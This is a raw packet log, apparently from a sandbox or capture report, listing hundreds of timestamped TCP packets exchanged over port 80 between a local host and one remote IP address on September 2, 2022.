Sep 2, 2022 14:02:23.329253912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329282045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329298973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.329577923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329621077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329629898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.329651117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329664946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.329807043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329848051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329863071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.329876900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329891920 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.329969883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330076933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330105066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330133915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.330194950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330236912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330264091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330282927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.330733061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330773115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330801964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330809116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.330832005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.330840111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330881119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330909014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.330924988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.331290007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331332922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331342936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.331392050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.331392050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331651926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331696033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331722021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331731081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.331762075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331774950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.331808090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331809998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.331835985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331856012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.331903934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.331995010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.332022905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.332046032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.332818985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.332909107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.332916021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.332947016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.332969904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.332986116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333041906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333071947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333103895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.333365917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333410025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333424091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.333439112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333470106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.333600044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333640099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333668947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.333702087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.334053993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334094048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334115028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.334124088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334146976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.334218025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334259987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334285975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334319115 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.334806919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334847927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334868908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.334876060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.334906101 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.335038900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335138083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335184097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335247040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.335525036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335588932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335591078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.335628986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335635900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.335733891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335793018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335835934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.335840940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.336169004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336210012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336235046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336252928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.336404085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336441040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336450100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.336466074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336515903 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.336571932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336714983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336729050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.336741924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336772919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336802959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336819887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.336916924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.337253094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337378025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337404966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337430954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.337443113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337481976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337507010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337528944 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.337770939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337814093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337830067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.337841034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.337873936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.338004112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338046074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338057995 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.338072062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338126898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.338362932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338407040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338432074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338464022 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.338613987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338655949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338676929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.338682890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338704109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.338958025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.338999987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339024067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339049101 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.339231014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339270115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339294910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339315891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.339622974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339667082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339693069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339714050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.339725971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.339730024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339803934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339833021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.339852095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.340078115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.340122938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.340147018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.340177059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.340357065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.340425014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.340465069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.340492010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.340511084 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.341106892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341155052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341180086 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.341185093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341212034 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.341227055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341264009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341268063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.341289043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341305017 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.341535091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341574907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341602087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341672897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.341792107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341835022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341860056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.341871977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.341901064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.342102051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342144012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342170954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342204094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.342219114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.342323065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342365980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342394114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342406034 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.342442036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.342761040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342801094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342828035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.342879057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.343070030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343111038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343132019 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.343137980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343153000 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.343390942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343434095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343457937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343513966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.343578100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343616962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343636036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.343647957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.343678951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.343983889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.344026089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.344052076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.344094038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.344135046 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.344233036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.344270945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.344296932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.344336033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.344366074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345148087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345201969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345247984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345280886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345319033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345324039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345355988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345382929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345390081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345422983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345659971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345702887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345729113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345745087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345768929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345813990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345855951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345882893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.345884085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.345913887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.346936941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.346967936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.346986055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.347008944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.347050905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.347068071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.347095013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.347121954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.347126961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.347403049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.347431898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.347449064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.347487926 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.347522020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.490108967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490135908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490149021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490165949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490215063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490225077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.490228891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490291119 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.490675926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490696907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490710020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490761042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.490797043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490850925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.490940094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.490953922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.491007090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.491461039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.491480112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.491494894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.491575003 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.491579056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.491600990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.491631031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.491643906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.491868019 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.492058039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492094994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492110014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492129087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.492152929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.492269993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492328882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.492377996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492397070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492429972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.492722988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492743969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492757082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492795944 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.492855072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492886066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492902994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.492918015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.492939949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.493411064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.493429899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.493442059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.493501902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.493521929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.493525982 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.493535995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.493537903 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.493571043 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.493968010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.493988037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494000912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494050026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.494071960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.494086027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494105101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494117975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494153976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.494666100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494725943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494739056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494776011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.494806051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494849920 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.494884968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494898081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.494935036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.495265961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495286942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495301008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495377064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.495389938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495456934 CEST	80	49787	85.209.157.230	192.168.2.6
